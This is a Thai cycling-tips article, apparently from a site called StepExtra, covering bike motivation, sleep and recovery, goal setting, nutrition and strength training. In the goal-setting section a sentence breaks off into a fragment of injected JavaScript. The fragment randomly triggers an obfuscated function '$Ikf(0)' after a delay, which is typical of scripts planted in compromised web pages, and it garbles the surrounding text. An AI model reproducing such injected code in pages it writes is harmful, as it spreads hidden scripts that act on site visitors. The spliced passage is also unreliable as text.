อยากปั่นได้เร็วขึ้น เก่งขึ้น นอกจากการฝึกฝนทางร่างกายอย่างเดียวแล้วยังมีเรื่องของการกิน การพักผ่อน จิตใจและความสัมพันธ์ระหว่างรถจักรยานกับเจ้าของเข้ามาเกี่ยวข้อง StepExtra มี 5 สิ่งที่นักปั่นควรรู้ ใครที่กำลังอยากพัฒนาฝืมือการปั่นมาฝาก…
- จ้องมองและลูบคลำ
สาเหตุที่ต้อง “จ้องและลูบคลำจักรยาน” แนะนำว่าทำก่อนออกทำงานและก่อนนอน เพราะจะทำให้มีการรักษา Passion ของเราอยู่ในระดับคงที่ การซื้อจักรยานแล้วทิ้งไว้ไกลหูไกลตา นานๆ เข้า บางครั้งเราอาจจะลืมเลยว่าเราซื้อจักรยานมาทำไม่ ความรู้จักในการอยากปั่นมันหายไป
การจ้องมองหรือจะลูบคลำช่วย Recall และ Remind ถึงความรู้สึกแรกที่ได้ขี่จักรยานอีกครั้ง ความรู้สึกที่ได้ปั่นได้เสียเหงื่อ ได้สนุกกับเพื่อนๆ และความรู้สึกอยากพัฒนาตัวเอง
การจ้องมองจักรยานยังมีส่วนทำให้มี lifestyle ในการใช้จักรยานได้นานขึ้นหรือภาษาอังกฤษเรียกว่ามี Longevity กับจักรยานนานขึ้น (มีการใช้จักรยานไปนานๆ) นอกเหนื่อจากการรักษาระดับ passion แล้วยังกระตุ้นให้เกิด passion ในการปั่นจักรยานอย่างไรให้ดีขึ้น อย่างไรให้เร็วขึ้น
วันนี้กลับบ้านไปลงจ้องมองจักรยานเราดูดีๆ…จักรยานเราเป็นประเภทอะไร เสือหมอบ เสือภูเขา Fixed Gear หรือเป็น Time Trial จินตนาการต่ำแหน่งการปั่นของเรา จังหวะลมเข้าปะทะ รอบการปั่นหรือพลังที่เรารีดออกมาได้ สัมผัสต่ำแหน่งต่างๆ อย่าง แฮนด์ ล้อ เปาะและชุดเกียร์ เป็นต้น มันมีหน้าที่อะไร จะช่วยให้เราเห็นภาพการปั่นของเรา และจุดไหนที่เราสามารถพัฒนาได้อีกทั้งความสามารถทางร่างกายและอุปกรณ์ที่ต้องผลัดเปลี่ยน (เรียกว่าเป็นวิธีการ Envision เรากับจักรยาน)
แต่อย่าจ้องมองลูบคลำนานเกินนะครับ เดียวไม่ได้นอนไม่ได้ทำงานกันพอดี
- เวลานอนหลับ
ในการฝึกฝนเพื่อการพัฒนาตัวเองจะแบ่งออกเป็น 3 คร่าวๆ เรียกง่ายๆ ว่า
1. Overload การฝึกฝนให้เกินขีดจำกัดเดิม อาจจะเป็นการทำ Interval นเพิ่มระยะหรือเพิ่มความเร็วขึ้น โดยจะมีกฎข้อหนึ่งที่เรียกว่า 10% rule คือห้ามเพิ่มเกินของเดิม 10% ไม่ว่าจะเป้นระยะทาง เวลาหรือความเร็ว ทั้งนี้เพื่อหลีกเลี่ยงอาการบาดเจ็บ
2. Rest หรือจะเรียกว่า Recovery ก็ได้ หลังจากการฝึกหนักร่างกายต้องการ การพักผ่อน เพื่อฟื้นฟู ซ่อมแซมและสร้างกล้ามเนื้อขึ้นมาใหม่ ในการฝึกจำเป็นต้องมีการพักผ่อนให้เพียงพอ ในการฝึกครั้งต่อๆ ไปเราจะรีดประสิทธิภาพได้เต็มร้อย การละเลยการพักผ่อนจะทำให้มีการสะสมความเมื่อยล้าทั้งร่างกาย (Physical) และสภาพจิตใจ (stress) เมื่อฝื่นฝึก ค่า performance ก็จะค่อยๆ ลดลง
3. Adaptation หลังจากผ่านการฝึกฝนอย่างหนักและการพักผ่อนที่เพียงพอ ร่างกายก็จะมีการปรับตัวให้เข้าเข้ากับสภาวะที่ต้องฝึกหนัก ร่างกายมีการสร้างกล้ามเนื้อมารองรับการโหลด Workout ในครั้งต่อๆ เส้นประสาทมีการปลุกกระตุ้นให้เชื่มต่อ ส่งผ่านคำสั่งไว้ต่อการตอบสนองได้เพิ่มขึ้น
การพักผ่อนจึงถือว่าเป็นส่วนหนึ่งในการฝึกซ่อม…และทางเราก็มีเทคนิคที่ช่วยให้คุณเข้านอนได้ง่ายขึ้น อย่างเช่น การปิดอุปกรณ์เชื่อมต่อโลกอินเตอร์เนตก่อนเข้านอน 1 ชั่วโมง ให้ไปทำกิจกรรมอื่นๆ ที่ไม่ใช้การเปิดจอดูทีวีหรือดูคอม ไปอ่านหนังสือ เช็ดทำความสะอาดรถ เตรียมเสื้อผ้าไว้ปั่นตอนเช้า เป็นต้น ให้เรามีสมาธิมากขึ้น ห่างไกลจากสิ่งเร้าในโลกไซเบอร์
- ตั้งเป้าหมายไว้
สำหรับใครที่ต้องการขี่จักรยานเพื่อพัฒนาตัวเองก็ควรตั้งเป้าหมาย ทุกการขี่สมควรมีเป้าหมาย ถ้ายังไม่รู้ว่าจะปั่นเพื่ออะไร ลองมาดูคำแนะนำเราก่อนนะครับ
- ปั่นเพื่อเป็นโปร จำเป็นต้องมีการฝึกซ่อมอย่างสม่ำเสมอ ฝึกหนักและใช้เวลาในการฝึกมาก ควรมีโปรแกรมแผนการฝึกที่ชัดเจน มีโค้ชประจำ
- ปั่นเพื่อพัฒนาตัวเองให้เก่งเป็นตัวแรง เวลาการฝึกซ่อมและการเตรียมอุปกรณ์ย่อมมากกว่าชาวบ้านทั่วไปแน่นอน
- ปั่นเพื่อสุขภาพเฉยๆ คงไม่ต้องลงทุนกับอุปกรณ์ การวางแผนการฝึกให้มากเท่าไหร แค่ขอให้ออกกำลังกายอย่างสม่ำเสมอก็พอ
เมื่อทราบขอบเขตการปั่นของเราก็จะสามารถวางตารางแผนการฝึกได้ เวลาที่ต้องใช้ ราคาค่าใช้จ่ายและรูปแบบการฝึกจะทำให้เราไปถึงจุดหมายได้เร็วขึ้น ช่วยให้เราหลีกเลี่ยงการฝึกที่เสียเปล่าหรือ Junk mile ลงไปได้
รูปแบบหนึ่งที่นิยมใช้คือการเซตเน้นเป้าหมายเป็นระยะทาง เริ่มจากการปั่นให้ได้ระยะ 10 20 30 40 ไปถึง 100 กิโลเมตร เป็นการฝึกความอึด (Endurance)ให้ร่างกายในช่วงแรก เพื่อให้มีความพร้อมในการรับ Workload ภายหลัง อย่างเช่นการฝึกปั่นระยะ 50 กิโลเมตร เราต้องรู้ว่าการปั่นระยะนี้ต้องการอะไรบ้างจากร่างกายเรา (demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and) ความอึด (Endurance) ความแข็งแกร่งของกล้ามเนื้อ (Strength) และความเร็ว (Speed) เท่าไหร
เราต้องแบ่งการฝึกออกเป็นสองส่วน คือ ฝึกให้ร่างกายรองรับกับ workload ที่จะเกิดขึ้นหรือจะเรียกว่าการฝึกความอึด (endurance) และอาจมีฝึกความแข่งแกร่งให้กล้ามเนื้อ (Strength)เป็นอย่างๆ ไป และเมื่อเข้าขั้นที่สองคือการฝึกเพื่อแข่งขัน จะมีการใช้ความเร็วเข้ามาผสมกัน (Speed + Endurance)
- อาหารการกิน
ร่างกายจำเป็นจ้องใช้พลังงานในการปั่นทุกครั้ง การปั่นเพื่อลดน้ำหนักตัวเองหรือปั่นเพื่อการแข่งขัน จำเป็นต้องดูแลโภชนการให้ดีเช่นเดียวกัน หลายคนใช้วิธีควบคุมแคลอรี่ จึงเลือกกินเฉพาะอาหารบางอย่าง เช่น ถ้ารับโปรตีนก็กินแต่อกไก่อย่างเดียว แต่ก็มีข้อแนะนำมาฝากว่า ร่างกายเราต้องการโปรตีนที่หลากหลายมากกว่าหนึ่งชนิดนะครับ พวกหมู เนื้อ ปลาและถั่วก็ไม่ควรมองข้าม เพราะสารอาหารอื่นๆ อย่างคอลลาเจน ไขมัน วิตามินในการเสริมระบบประสาทบางตัวก็ไม่สามารถหาได้ในไก่อย่างเดียว
โภชนาการที่บริโภคในชีวิตประจำทางผู้เขียนอยากให้เน้นคุณภาพอาหาร คุณภาพวัตถุดิบ ความสด ลดอาหารพวก processed มากกว่าการนับแคลอรี่ หรือการกินอาหาร Low calories
การกินอาหารเพื่อการฝึกหรือแข่งควรแบ่งเป็น 3 ช่วงคือ
- ก่อนแข่งหรือก่อนฝึก การรับอาหารว่างเบาๆ จะช่วยบูท performance เราได้ ถ้าสังเกต powergel หรือ powerbar ต่างๆ จะแนะนำให้กินก่อนแข่งเป็นเวลา 15-30 นาที อาหารพวกนี้จะมีปริมาณคาร์โบและโปรตีนที่ดูดซับได้ง่าย ส่งตรงเข้ากล้ามเนื้อได้เลย
- ระหว่างแข่ง อาหารที่แนะนำคือ powergel หรือผงอิเล็กโตรไลท์ที่ละลายน้ำได้ หลีกเลี่ยงเครื่องดื่มเกลือแร่ตามโฆษณา เพราะจะมีปริมาณน้ำตาลมาก
- หลังจบแข่งหรือฝึกซ้อม เป็นอาหารหรือเครื่องดื่มประเภทที่มีโปรตีนเป็นหลัก ใช้ในการ recovery กล้ามเนื้อ ให้ฟื้นฟูกลับสู่สภาพเดิมได้เร็วขึ้น
ว่าแล้วไปดู Nicolay Ramm ทดลองกินอาหารแบบนักปั่นมืออาชีพกัน
- Strength training
อย่าคิดว่าการฝึกปั่นนั้นคือการขึ้นนั่งบนหลังอานเพียงอย่างเดียว การฝึกกล้ามเนื้อให้แข็งแรง มีความยืดหยุ่น สามารถเพิ่มความเร็วกับช่วยลดอาการบาดเจ็บให้เราได้เช่นกัน
ลองจินตนาการตามนะครับ มีนักวิ่งคนหนึ่งวิ่ง 100 เมตร ถามว่าอะไรที่เค้าต้องการใช้ในการแข่งขันนี้เป็นสำคัญ…คำตอบคือความเร็ว (Speed)
ที่นี้ลองเพิ่มระยะเป็น 10 กิโลเมตร ถามว่าอะไรทำให้เค้าไปถึงเส้นชัยได้…ถ้ามีแต่ Speed พอมั้ย? ตอบเลยว่าไม่ จำเป็นต้องมี ความแข็งแกร่งของกล้ามเนื้อ (strength) ในการพยุงร่างกาย ให้รักษาฟอร์มการวิ่งได้ตั้งแต่ต้นจนจบ และจำเป็นต้องมีการเพิ่มความอึด (Endurance) ให้ร่างกาย เพราะนี้คือการแข็งระยะไกลไม่ใช้ระยะใกล้ มีการเคลื่อนไหวตลอดระยะแข่งขัน
การฝึก Strength สำคัญมั้ย ลองไปดูคลิปจาก GCN กันครับ
